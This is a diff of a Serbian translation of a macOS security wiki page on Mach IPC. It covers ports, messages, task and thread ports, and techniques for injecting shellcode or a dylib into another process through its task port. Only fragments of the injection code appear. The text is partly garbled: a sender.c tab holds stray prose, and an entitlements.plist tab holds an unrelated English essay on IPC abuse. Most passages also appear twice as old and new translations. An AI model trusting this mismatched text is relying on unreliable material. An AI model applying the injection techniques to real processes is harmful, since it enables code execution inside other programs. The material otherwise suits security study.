||||
Imajte na umu da se **mach poruke šalju preko `mach porta`**, koji je **kanal komunikacije sa jednim primaocem**, **više pošiljalaca** ugrađen u mach kernel. **Više procesa** može **slati poruke** ka mach portu, ali u svakom trenutku samo **jedan proces može čitati** iz njega.
|
||||
{% endhint %}
|
||||
|
||||
Poruke se zatim formiraju **`mach_msg_header_t`** zaglavljem praćenim **telom** i **trailerom** (ako postoji) i može dozvoliti odgovor na nju. U tim slučajevima, kernel samo treba da prosledi poruku iz jednog zadatka u drugi.
|
||||
Poruke se zatim formiraju **`mach_msg_header_t`** zaglavljem praćenim **telom** i **trailerom** (ako postoji) i može dozvoliti odobrenje za odgovor na nju. U tim slučajevima, kernel samo treba da prosledi poruku od jednog zadatka drugom.
|
||||
|
||||
**Trailer** je **informacija dodata poruci od strane kernela** (ne može je postaviti korisnik) koja se može zatražiti prilikom prijema poruke sa zastavicom `MACH_RCV_TRAILER_<trailer_opt>` (postoji različite informacije koje se mogu zatražiti).
|
||||
|
||||
#### Kompleksne Poruke
|
||||
|
||||
Međutim, postoje i druge **kompleksnije** poruke, poput onih koje prenose dodatna prava porta ili dele memoriju, gde kernel takođe mora da pošalje ove objekte primaocu. U ovim slučajevima, najznačajniji bit zaglavlja `msgh_bits` je postavljen.
|
||||
Međutim, postoje i druge više **kompleksne** poruke, poput onih koje prenose dodatna prava porta ili dele memoriju, gde kernel takođe mora da pošalje ove objekte primaocu. U ovim slučajevima, najznačajniji bit zaglavlja `msgh_bits` je postavljen.
|
||||
|
||||
Mogući deskriptori za prenos su definisani u [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html):
|
||||
```c
|
||||
|
@ -164,10 +164,10 @@ unsigned int pad3 : 24;
|
|||
mach_msg_descriptor_type_t type : 8;
|
||||
} mach_msg_type_descriptor_t;
|
||||
```
|
||||
U 32-bitnom sistemu, svi deskriptori su 12B i tip deskriptora je u 11. U 64-bitnom sistemu, veličine variraju.
|
||||
U 32 bitnom režimu, svi deskriptori su 12B i tip deskriptora je u 11. U 64 bitnom režimu, veličine variraju.
|
||||
|
||||
{% hint style="opasnost" %}
|
||||
Kernel će kopirati deskriptore iz jednog zadatka u drugi, ali prvo **kreira kopiju u kernel memoriji**. Ova tehnika, poznata kao "Feng Shui", zloupotrebljena je u nekoliko eksploatacija kako bi naterala **kernel da kopira podatke u svojoj memoriji**, omogućavajući procesu da pošalje deskriptore sebi. Zatim proces može primati poruke (kernel će ih osloboditi).
|
||||
Kernel će kopirati deskriptore iz jednog zadatka u drugi, ali prvo **kreira kopiju u jezgrovnoj memoriji**. Ova tehnika, poznata kao "Feng Shui", zloupotrebljena je u nekoliko eksploatacija kako bi naterala **kernel da kopira podatke u svojoj memoriji**, omogućavajući procesu da šalje deskriptore sebi. Zatim proces može primati poruke (kernel će ih osloboditi).
|
||||
|
||||
Takođe je moguće **poslati prava porta ranjivom procesu**, i prava porta će se jednostavno pojaviti u procesu (čak i ako ih ne obrađuje).
|
||||
{% endhint %}
|
||||
|
@ -177,13 +177,13 @@ Takođe je moguće **poslati prava porta ranjivom procesu**, i prava porta će s
|
|||
Imajte na umu da su portovi povezani sa imenikom zadatka, pa prilikom kreiranja ili pretrage porta, takođe se pretražuje imenik zadatka (više u `mach/mach_port.h`):
|
||||
|
||||
* **`mach_port_allocate` | `mach_port_construct`**: **Kreirajte** port.
|
||||
* `mach_port_allocate` takođe može kreirati **skup portova**: primi pravo preko grupe portova. Svaki put kada se primi poruka, naznačen je port sa kog je poslata.
|
||||
* `mach_port_allocate` takođe može kreirati **skup portova**: primi pravo nad grupom portova. Svaki put kada se primi poruka, naznačen je port sa kog je poslata.
|
||||
* `mach_port_allocate_name`: Promenite ime porta (podrazumevano 32-bitni ceo broj)
|
||||
* `mach_port_names`: Dobijanje imena porta iz cilja
|
||||
* `mach_port_type`: Dobijanje prava zadatka nad imenom
|
||||
* `mach_port_rename`: Preimenovanje porta (kao dup2 za FD-ove)
|
||||
* `mach_port_allocate`: Alociranje novog PRIMANJA, SKUPA_PORTOVA ili MRTVOG_IMENA
|
||||
* `mach_port_insert_right`: Kreiranje novog prava u portu gde imate PRIMANJE
|
||||
* `mach_port_names`: Dobijte imena portova iz cilja
|
||||
* `mach_port_type`: Dobijte prava zadatka nad imenom
|
||||
* `mach_port_rename`: Preimenujte port (kao dup2 za FD-ove)
|
||||
* `mach_port_allocate`: Alocirajte novi PRIMI, PORT\_SET ili DEAD\_NAME
|
||||
* `mach_port_insert_right`: Kreirajte novo pravo u portu gde imate PRIMI
|
||||
* `mach_port_...`
|
||||
* **`mach_msg`** | **`mach_msg_overwrite`**: Funkcije korišćene za **slanje i primanje mach poruka**. Verzija za prepisivanje omogućava da se navede drugi bafer za prijem poruke (druga verzija će ga samo ponovo koristiti).
|
||||
|
||||
|
@ -256,7 +256,7 @@ Pregledajte zaglavlje poruke proveravajući prvi argument:
|
|||
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
|
||||
; 0x40000322 -> mach_msg_id_t (msgh_id)
|
||||
```
|
||||
Taj tip `mach_msg_bits_t` je vrlo čest kako bi omogućio odgovor.
|
||||
Taj tip `mach_msg_bits_t` je vrlo čest kako bi se omogućio odgovor.
|
||||
|
||||
|
||||
|
||||
|
@ -285,7 +285,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
|
|||
[...]
|
||||
```
|
||||
**Ime** je podrazumevano ime dodeljeno portu (proverite kako se **povećava** u prva 3 bajta). **`ipc-object`** je **zamagljeni** jedinstveni **identifikator** porta.\
|
||||
Takođe obratite pažnju kako portovi sa samo **`send`** pravom **identifikuju vlasnika** (ime porta + pid).\
|
||||
Takođe obratite pažnju kako portovi sa samo **`send`** pravom **identifikuju vlasnika** istog (ime porta + pid).\
|
||||
Takođe obratite pažnju na upotrebu **`+`** za označavanje **drugih zadataka povezanih sa istim portom**.
|
||||
|
||||
Takođe je moguće koristiti [**procesxp**](https://www.newosxbook.com/tools/procexp.html) da biste videli i **registrovana imena servisa** (sa onemogućenim SIP-om zbog potrebe za `com.apple.system-task-port`):
|
||||
|
@ -367,7 +367,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}
|
||||
{% tab title="sender.c" %}Ukoliko želite da pošaljete poruku primaocu, možete koristiti inter-procesnu komunikaciju (IPC) na macOS-u. IPC omogućava komunikaciju između procesa na istom ili različitim računarskim sistemima. Na macOS-u, IPC se može postići korišćenjem različitih mehanizama kao što su Mach ports, XPC services, Unix domain sockets, i drugi. Korišćenje IPC-a za komunikaciju između procesa može biti korisno, ali takođe može predstavljati sigurnosne rizike ako se ne koristi pažljivo. {% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -430,69 +430,103 @@ Postoje neki posebni portovi koji omogućavaju **izvođenje određenih osetljivi
|
|||
|
||||
Ovi portovi su predstavljeni brojevima.
|
||||
|
||||
Prava za **SLANJE (SEND)** mogu se dobiti pozivanjem **`host_get_special_port`** i prava za **PRIJEM (RECEIVE)** pozivanjem **`host_set_special_port`**. Međutim, oba poziva zahtevaju **`host_priv`** port koji samo korisnik sa privilegijama može pristupiti. Osim toga, u prošlosti je korisnik sa privilegijama mogao pozvati **`host_set_special_port`** i preuzeti proizvoljne koji su omogućavali na primer zaobilaženje potpisa koda preuzimanjem `HOST_KEXTD_PORT` (SIP sada sprečava ovo).
|
||||
**Prava za slanje (SEND)** mogu se dobiti pozivanjem **`host_get_special_port`** i prava za **PRIJEM (RECEIVE)** pozivanjem **`host_set_special_port`**. Međutim, oba poziva zahtevaju **port `host_priv`** koji može pristupiti samo root. Osim toga, u prošlosti je root mogao pozvati **`host_set_special_port`** i oteti proizvoljne koji su omogućavali na primer zaobilaženje potpisa koda otimanjem `HOST_KEXTD_PORT` (SIP sada sprečava ovo).
|
||||
|
||||
Ovi portovi su podeljeni u 2 grupe: **Prvih 7 portova su u vlasništvu jezgra** pri čemu je 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT`, a 7 je `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Oni su podeljeni u 2 grupe: **Prvih 7 portova su u vlasništvu jezgra** pri čemu je 1 `HOST_PORT`, 2 `HOST_PRIV_PORT`, 3 `HOST_IO_MASTER_PORT`, a 7 je `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Oni koji počinju **od broja 8** su **u vlasništvu sistemskih demona** i mogu se pronaći deklarisani u [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html).
|
||||
|
||||
* **Host port**: Ako proces ima **privilegiju za slanje (SEND)** nad ovim portom, može dobiti **informacije** o **sistemu** pozivanjem njegovih rutina poput:
|
||||
* **Host port**: Ako proces ima **privilegiju slanja (SEND)** nad ovim portom, može dobiti **informacije** o **sistemu** pozivanjem njegovih rutina poput:
|
||||
* `host_processor_info`: Dobijanje informacija o procesoru
|
||||
* `host_info`: Dobijanje informacija o domaćinu
|
||||
* `host_virtual_physical_table_info`: Virtuelna/fizička tabela stranica (zahteva MACH\_VMDEBUG)
|
||||
* `host_statistics`: Dobijanje statistika domaćina
|
||||
* `mach_memory_info`: Dobijanje rasporeda memorije jezgra
|
||||
* **Host Priv port**: Proces sa **pravom za slanje (SEND)** nad ovim portom može izvršiti **privilegovane radnje** poput prikazivanja podataka o pokretanju ili pokušaja učitavanja proširenja jezgra. **Proces mora biti root** da bi dobio ove dozvole.
|
||||
* Osim toga, da bi se pozvao **`kext_request`** API, potrebno je imati druge privilegije **`com.apple.private.kext*`** koje se dodeljuju samo Apple binarnim datotekama.
|
||||
* **Host Priv port**: Proces sa **pravom slanja (SEND)** nad ovim portom može izvršiti **privilegovane radnje** poput prikazivanja podataka o pokretanju ili pokušaja učitavanja proširenja jezgra. **Proces mora biti root** da bi dobio ovu dozvolu.
|
||||
* Osim toga, da bi pozvao **`kext_request`** API, potrebno je imati druge privilegije **`com.apple.private.kext*`** koje se dodeljuju samo Apple binarnim datotekama.
|
||||
* Druge rutine koje se mogu pozvati su:
|
||||
* `host_get_boot_info`: Dobijanje `machine_boot_info()`
|
||||
* `host_priv_statistics`: Dobijanje privilegovanih statistika
|
||||
* `vm_allocate_cpm`: Alociranje kontinualne fizičke memorije
|
||||
* `host_processors`: Pravo slanja host procesorima
|
||||
* `vm_allocate_cpm`: Alokacija kontinualne fizičke memorije
|
||||
* `host_processors`: Pravo slanja domaćinu procesora
|
||||
* `mach_vm_wire`: Čini memoriju rezidentnom
|
||||
* Pošto **root** može pristupiti ovim dozvolama, mogao bi pozvati `host_set_[special/exception]_port[s]` da **preuzme specijalne ili izuzetne portove domaćina**.
|
||||
* Pošto **root** može pristupiti ovoj dozvoli, mogao bi pozvati `host_set_[special/exception]_port[s]` da **otme specijalne ili izuzetne portove domaćina**.
|
||||
|
||||
Moguće je **videti sve specijalne portove domaćina** pokretanjem:
|
||||
```bash
|
||||
procexp all ports | grep "HSP"
|
||||
```
|
||||
### Task Portovi
|
||||
### Posebni portovi
|
||||
|
||||
Originalno, Mach nije imao "procese", već "taskove" koji su se smatrali više kao kontejneri niti. Kada je Mach spojen sa BSD-om, **svaki task je bio povezan sa BSD procesom**. Stoga, svaki BSD proces ima detalje potrebne da bude proces, a svaki Mach task takođe ima svoje unutrašnje funkcije (osim nepostojećeg pid 0 koji je `kernel_task`).
|
||||
Ovo su portovi rezervisani za dobro poznate servise. Moguće je dobiti/postaviti ih pozivanjem `task_[get/set]_special_port`. Mogu se pronaći u `task_special_ports.h`:
|
||||
```c
|
||||
typedef int task_special_port_t;
|
||||
|
||||
Postoje dve veoma interesantne funkcije u vezi sa tim:
|
||||
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
|
||||
world.*/
|
||||
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
|
||||
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
Sa [ovde](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
|
||||
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Dobijanje SEND prava za task port taska povezanog sa određenim `pid`-om i davanje toga port-a naznačenom `target_task_port`-u (koji je obično task pozivaoca koji je koristio `mach_task_self()`, ali može biti SEND port preko drugog taska.)
|
||||
* `pid_for_task(task, &pid)`: Dajući SEND pravo na task, pronađi sa kojim PID-om je taj task povezan.
|
||||
* **TASK\_KERNEL\_PORT**\[task-self send right]: Port koji se koristi za kontrolu ovog zadatka. Koristi se za slanje poruka koje utiču na zadatak. Ovo je port koji vraća **mach\_task\_self (vidi Task Ports ispod)**.
|
||||
* **TASK\_BOOTSTRAP\_PORT**\[bootstrap send right]: Bootstrap port zadatka. Koristi se za slanje poruka koje zahtevaju povratak drugih sistema servisnih portova.
|
||||
* **TASK\_HOST\_NAME\_PORT**\[host-self send right]: Port koji se koristi za zahtevanje informacija o sadržaju domaćina. Ovo je port koji vraća **mach\_host\_self**.
|
||||
* **TASK\_WIRED\_LEDGER\_PORT**\[ledger send right]: Port koji imenuje izvor iz kojeg ovaj zadatak crpi svoju žičanu jezgru memorije.
|
||||
* **TASK\_PAGED\_LEDGER\_PORT**\[ledger send right]: Port koji imenuje izvor iz kojeg ovaj zadatak crpi svoju podrazumevanu memoriju upravljane memorije.
|
||||
|
||||
Da bi izvršio radnje unutar taska, tasku je potrebno `SEND` pravo na sebe pozivajući `mach_task_self()` (koji koristi `task_self_trap` (28)). Sa ovlašćenjem, task može izvršiti nekoliko radnji kao što su:
|
||||
### Task Ports
|
||||
|
||||
* `task_threads`: Dobijanje SEND prava nad svim task portovima niti taska
|
||||
* `task_info`: Dobijanje informacija o tasku
|
||||
* `task_suspend/resume`: Pauziranje ili nastavljanje taska
|
||||
Originalno, Mach nije imao "procese", već "zadatke" koji su se smatrali više kao kontejneri niti. Kada je Mach spojen sa BSD **svaki zadatak je bio povezan sa BSD procesom**. Stoga, svaki BSD proces ima detalje potrebne da bude proces, a svaki Mach zadatak takođe ima svoje unutrašnje funkcije (osim nepostojećeg pid 0 koji je `kernel_task`).
|
||||
|
||||
Postoje dve veoma interesantne funkcije koje su povezane sa ovim:
|
||||
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Dobijanje SEND prava za zadatak povezan sa određenim `pid` i davanje toga zadatka navedenom `target_task_port` (koji je obično pozivački zadatak koji je koristio `mach_task_self()`, ali može biti SEND port preko drugog zadatka.)
|
||||
* `pid_for_task(task, &pid)`: Dajući SEND pravo zadatku, pronađi sa kojim PID-om je taj zadatak povezan.
|
||||
|
||||
Da bi izvršio radnje unutar zadatka, zadatak je trebao `SEND` pravo sebi pozivajući `mach_task_self()` (koji koristi `task_self_trap` (28)). Sa ovlašćenjem, zadatak može izvršiti nekoliko radnji kao što su:
|
||||
|
||||
* `task_threads`: Dobijanje SEND prava nad svim zadacima niti zadatka
|
||||
* `task_info`: Dobijanje informacija o zadatku
|
||||
* `task_suspend/resume`: Pauziranje ili nastavljanje zadatka
|
||||
* `task_[get/set]_special_port`
|
||||
* `thread_create`: Kreiranje niti
|
||||
* `task_[get/set]_state`: Kontrola stanja taska
|
||||
* i još toga se može naći u [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
* `task_[get/set]_state`: Kontrola stanja zadatka
|
||||
* i još se može naći u [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Primetite da sa SEND pravom nad task portom **drugog taska**, moguće je izvršiti takve radnje nad drugim taskom.
|
||||
Primetite da sa SEND pravom nad zadatkom drugog zadatka, moguće je izvršiti takve radnje nad drugim zadatkom.
|
||||
{% endhint %}
|
||||
|
||||
Osim toga, task\_port je takođe **port za `vm_map`** koji omogućava **čitanje i manipulaciju memorijom** unutar taska pomoću funkcija poput `vm_read()` i `vm_write()`. To u osnovi znači da će task sa SEND pravima nad task_portom drugog taska biti u mogućnosti da **ubaci kod u taj task**.
|
||||
Osim toga, task\_port je takođe **`vm_map`** port koji omogućava **čitanje i manipulaciju memorijom** unutar zadatka pomoću funkcija poput `vm_read()` i `vm_write()`. Ovo u osnovi znači da će zadatak sa SEND pravima nad task\_portom drugog zadatka biti u mogućnosti da **ubaci kod u taj zadatak**.
|
||||
|
||||
Zapamtite da je **kernel takođe task**, ako neko uspe da dobije **SEND dozvole** nad **`kernel_task`**, biće u mogućnosti da natera kernel da izvrši bilo šta (jailbreaks).
|
||||
Zapamtite da je zato što je **jezgro takođe zadatak**, ako neko uspe da dobije **SEND dozvole** nad **`kernel_task`**, biće u mogućnosti da natera jezgro da izvrši bilo šta (jailbreaks).
|
||||
|
||||
* Pozovi `mach_task_self()` da **dobiješ ime** za ovaj port za task pozivaoca. Ovaj port se nasleđuje samo preko **`exec()`**; novi task kreiran sa `fork()` dobija novi task port (kao poseban slučaj, task takođe dobija novi task port nakon `exec()` u suid binarnom fajlu). Jedini način da spawnuješ task i dobiješ njegov port je da izvedeš ["ples sa zamjenom portova"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) dok radiš `fork()`.
|
||||
* Pozovite `mach_task_self()` da **dobijete ime** za ovaj port za pozivački zadatak. Ovaj port se **nasleđuje** samo preko **`exec()`**; novi zadatak kreiran sa `fork()` dobija novi zadatak port (kao poseban slučaj, zadatak takođe dobija novi zadatak port nakon `exec()` u suid binarnom fajlu). Jedini način da pokrenete zadatak i dobijete njegov port je da izvršite ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) dok radite `fork()`.
|
||||
* Ovo su ograničenja za pristup portu (iz `macos_task_policy` iz binarnog fajla `AppleMobileFileIntegrity`):
|
||||
* Ako aplikacija ima **dozvolu `com.apple.security.get-task-allow`**, procesi od **iste korisnika mogu pristupiti task portu** (obično dodato od strane Xcode-a za debagovanje). Proces notarizacije neće dozvoliti ovo u produkcijskim verzijama.
|
||||
* Aplikacije sa dozvolom **`com.apple.system-task-ports`** mogu dobiti **task port za bilo** koji proces, osim kernela. U starijim verzijama se nazivalo **`task_for_pid-allow`**. Ovo je dozvoljeno samo Apple aplikacijama.
|
||||
* **Root može pristupiti task portovima** aplikacija **koje nisu** kompajlirane sa **hardened** runtime-om (i ne od strane Apple-a).
|
||||
* Ako aplikacija ima **`com.apple.security.get-task-allow` privilegiju**, procesi od **istog korisnika mogu pristupiti zadatkovom portu** (obično dodato od strane Xcode-a za debagovanje). Proces notarizacije neće dozvoliti to u produkcijskim verzijama.
|
||||
* Aplikacije sa **`com.apple.system-task-ports` privilegijom** mogu dobiti **zadatkov port za bilo** koji proces, osim jezgra. U starijim verzijama se nazivalo **`task_for_pid-allow`**. Ovo je dozvoljeno samo Apple aplikacijama.
|
||||
* **Root može pristupiti zadatkovim portovima** aplikacija **koje nisu** kompajlovane sa **hardened** runtime-om (i ne od strane Apple-a).
|
||||
|
||||
**Ime task porta:** Neprivilegovana verzija _task porta_. Referiše na task, ali ne dozvoljava kontrolisanje istog. Jedina stvar koja se čini dostupnom kroz njega je `task_info()`.
|
||||
**Port imena zadatka:** Neovlašćena verzija _zadatkovog porta_. Referiše na zadatak, ali ne dozvoljava kontrolu nad njim. Jedina stvar koja se čini dostupnom kroz njega je `task_info()`.
|
||||
|
||||
### Ubacivanje Shell koda u nit putem Task porta
|
||||
### Portovi niti
|
||||
|
||||
Možeš preuzeti shell kod sa:
|
||||
Niti takođe imaju povezane portove, koji su vidljivi iz zadatka pozivajući **`task_threads`** i iz procesora sa `processor_set_threads`. SEND pravo na port niti omogućava korišćenje funkcija iz podsistema `thread_act`, kao što su:
|
||||
|
||||
* `thread_terminate`
|
||||
* `thread_[get/set]_state`
|
||||
* `act_[get/set]_state`
|
||||
* `thread_[suspend/resume]`
|
||||
* `thread_info`
|
||||
* ...
|
||||
|
||||
Bilo koja nit može dobiti ovaj port pozivajući **`mach_thread_sef`**.
|
||||
|
||||
### Ubacivanje shell koda u nit putem zadatkovog porta
|
||||
|
||||
Možete preuzeti shell kod sa:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -533,41 +567,34 @@ return 0;
|
|||
|
||||
{% tab title="entitlements.plist" %}
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
Inter-process communication (IPC) mechanisms are commonly used in macOS applications to allow processes to communicate with each other. These mechanisms include Mach ports, XPC services, and distributed objects.
|
||||
### macOS IPC Mechanisms
|
||||
|
||||
#### Mach Ports
|
||||
macOS provides several mechanisms for inter-process communication (IPC), including:
|
||||
|
||||
Mach ports are low-level communication endpoints used by processes to send and receive messages. They are a fundamental part of the macOS operating system and are used extensively by system services and applications.
|
||||
- **Mach Messages**: Low-level messaging system used by macOS for IPC.
|
||||
- **XPC Services**: Lightweight inter-process communication mechanism.
|
||||
- **Distributed Objects**: Allows objects to be used across process boundaries.
|
||||
- **Apple Events**: Inter-application communication mechanism.
|
||||
- **Unix Domain Sockets**: Communication between processes on the same host.
|
||||
|
||||
#### XPC Services
|
||||
### IPC Abuse
|
||||
|
||||
XPC services are a higher-level IPC mechanism provided by the XPC framework. They allow processes to create and manage lightweight services that can communicate with each other securely.
|
||||
- **Privilege Escalation**: Exploiting IPC mechanisms to escalate privileges.
|
||||
- **Information Disclosure**: Extracting sensitive information through IPC.
|
||||
- **Denial of Service (DoS)**: Disrupting system functionality by abusing IPC.
|
||||
|
||||
#### Distributed Objects
|
||||
### Mitigation
|
||||
|
||||
Distributed objects are another IPC mechanism that allows objects to be passed between processes. This mechanism is commonly used in macOS applications to share data and functionality between different parts of an application.
|
||||
To mitigate IPC abuse, follow these best practices:
|
||||
|
||||
Understanding how these IPC mechanisms work is essential for both developers and security researchers to identify potential security vulnerabilities and prevent privilege escalation attacks.
|
||||
- **Implement Proper Entitlements**: Limit the capabilities of IPC services using entitlements.
|
||||
- **Validate Inputs**: Sanitize and validate inputs received through IPC mechanisms.
|
||||
- **Use Secure Communication Channels**: Encrypt and authenticate IPC messages to prevent eavesdropping and tampering.
|
||||
- **Monitor IPC Activity**: Monitor IPC calls for suspicious behavior and unauthorized access.
|
||||
|
||||
### macOS Process Abuse
|
||||
|
||||
macOS processes run with different levels of privileges, depending on the user account under which they are executed. Attackers can abuse processes running with higher privileges to escalate their own privileges and gain unauthorized access to sensitive system resources.
|
||||
|
||||
By exploiting vulnerabilities in macOS processes, attackers can execute arbitrary code, manipulate system settings, and access restricted files and data. Understanding how processes are managed and secured in macOS is crucial for defending against privilege escalation attacks.
|
||||
|
||||
### macOS Security and Privilege Escalation
|
||||
|
||||
macOS provides various security mechanisms to protect system resources and prevent unauthorized access. These mechanisms include code signing, sandboxing, entitlements, and system integrity protection.
|
||||
|
||||
Code signing ensures that only trusted and verified code is executed on macOS systems, preventing the execution of malicious software. Sandboxing restricts the capabilities of applications, limiting their access to system resources.
|
||||
|
||||
Entitlements define the privileges that an application or process has on a macOS system. By carefully configuring entitlements, developers can restrict the actions that an application can perform, reducing the risk of privilege escalation.
|
||||
|
||||
System Integrity Protection (SIP) is a security feature that protects system files and directories from modification, even by processes running with root privileges. SIP prevents unauthorized changes to critical system components, enhancing the overall security of macOS systems.
|
||||
|
||||
Understanding these security mechanisms and how they interact is essential for securing macOS systems and preventing privilege escalation attacks. Regularly updating macOS systems and applications, configuring security settings, and monitoring system activity are crucial steps in maintaining the security of macOS devices.
|
||||
By understanding macOS IPC mechanisms and potential abuse scenarios, you can better secure your system against privilege escalation and other threats.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -799,11 +826,11 @@ Da biste ovo omogućili na iOS-u, potrebno je imati dozvolu `dynamic-codesigning
|
|||
|
||||
Na macOS-u se **niti** mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach api-ja, tako da **nije posix kompatibilna**.
|
||||
|
||||
Bilo je moguće **ubaciti jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim api-jima, već samo sa Mach-om. **Složenije ubacivanje** bi zahtevalo da je **nit** takođe **posix kompatibilna**.
|
||||
Bilo je moguće **ubaciti jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim api-jima, već samo sa Mach-om. **Složenije ubacivanje** bi zahtevalo da **nit** takođe bude **posix kompatibilna**.
|
||||
|
||||
Stoga, da biste **unapredili nit**, trebalo bi pozvati **`pthread_create_from_mach_thread`** koji će **kreirati validnu pthread**. Zatim, ova nova pthread bi mogla **pozvati dlopen** da **učita dylib** sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.
|
||||
Stoga, da biste **unapredili nit**, trebalo bi da pozovete **`pthread_create_from_mach_thread`** koji će **kreirati validnu pthread**. Zatim, ova nova pthread bi mogla **da pozove dlopen** kako bi **učitala dylib** sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.
|
||||
|
||||
Možete pronaći **primer dylib-ova** u (na primer onaj koji generiše log i zatim možete da ga pratite):
|
||||
Možete pronaći **primer dylib-ova** u (na primer onaj koji generiše log i zatim možete da ga slušate):
|
||||
|
||||
{% content-ref url="../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
|
@ -1066,7 +1093,7 @@ int main(int argc, const char * argv[])
|
|||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Upotreba: %s _pid_ _akcija_\n", argv[0]);
|
||||
fprintf (stderr, " _akcija_: putanja do dylib na disku\n");
|
||||
fprintf (stderr, " _akcija_: putanja do dylib fajla na disku\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
|
@ -1096,31 +1123,173 @@ U ovoj tehnici se preuzima nit procesa:
|
|||
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Detekcija ubacivanja Task porta
|
||||
|
||||
Prilikom poziva `task_for_pid` ili `thread_create_*` povećava se brojač u strukturi zadatka iz jezgra koji se može pristupiti iz režima korisnika pozivajući task\_info(task, TASK\_EXTMOD\_INFO, ...)
|
||||
|
||||
## Portovi izuzetaka
|
||||
|
||||
Kada se desi izuzetak u niti, taj izuzetak se šalje određenom portu izuzetaka niti. Ako nit ne obradi izuzetak, tada se šalje portovima izuzetaka zadatka. Ako zadatak ne obradi izuzetak, tada se šalje host portu koji upravlja launchd-om (gde će biti potvrđen). Ovo se naziva trijaža izuzetaka.
|
||||
|
||||
Imajte na umu da će na kraju obično, ako se ne obradi pravilno, izveštaj završiti obrađen od strane demona ReportCrash. Međutim, moguće je da druga nit u istom zadatku upravlja izuzetkom, to je ono što alati za prijavu rušenja kao što je `PLCrashReporter` rade.
|
||||
|
||||
## Ostali objekti
|
||||
|
||||
### Sat
|
||||
|
||||
Svaki korisnik može pristupiti informacijama o satu, međutim, da bi postavio vreme ili izmenio druge postavke, mora imati administratorske privilegije.
|
||||
|
||||
Da biste dobili informacije, moguće je pozvati funkcije iz podsistema `clock` kao što su: `clock_get_time`, `clock_get_attributtes` ili `clock_alarm`\
|
||||
Da biste izmenili vrednosti, podsistem `clock_priv` može se koristiti sa funkcijama poput `clock_set_time` i `clock_set_attributes`
|
||||
|
||||
### Procesori i skup procesora
|
||||
|
||||
API-ji procesora omogućavaju kontrolu jednog logičkog procesora pozivanjem funkcija poput `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
|
||||
Osim toga, API-ji **skupa procesora** pružaju način grupisanja više procesora u grupu. Moguće je dobiti podrazumevani skup procesora pozivajući **`processor_set_default`**.\
|
||||
Ovo su neki zanimljivi API-ji za interakciju sa skupom procesora:
|
||||
|
||||
* `processor_set_statistics`
|
||||
* `processor_set_tasks`: Vraća niz prava slanja svim zadacima unutar skupa procesora
|
||||
* `processor_set_threads`: Vraća niz prava slanja svim nitima unutar skupa procesora
|
||||
* `processor_set_stack_usage`
|
||||
* `processor_set_info`
|
||||
|
||||
Kao što je pomenuto u [**ovom postu**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/), u prošlosti je to omogućavalo zaobilaženje prethodno pomenute zaštite kako bi se dobili task portovi u drugim procesima radi njihove kontrole pozivanjem **`processor_set_tasks`** i dobijanjem host porta na svakom procesu.\
|
||||
Danas je potrebno imati administratorske privilegije da biste koristili tu funkciju i to je zaštićeno, tako da ćete moći dobiti ove portove samo na nezaštićenim procesima.
|
||||
|
||||
Možete probati sa:
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Kod za processor_set_tasks</strong></summary>
|
||||
````c
|
||||
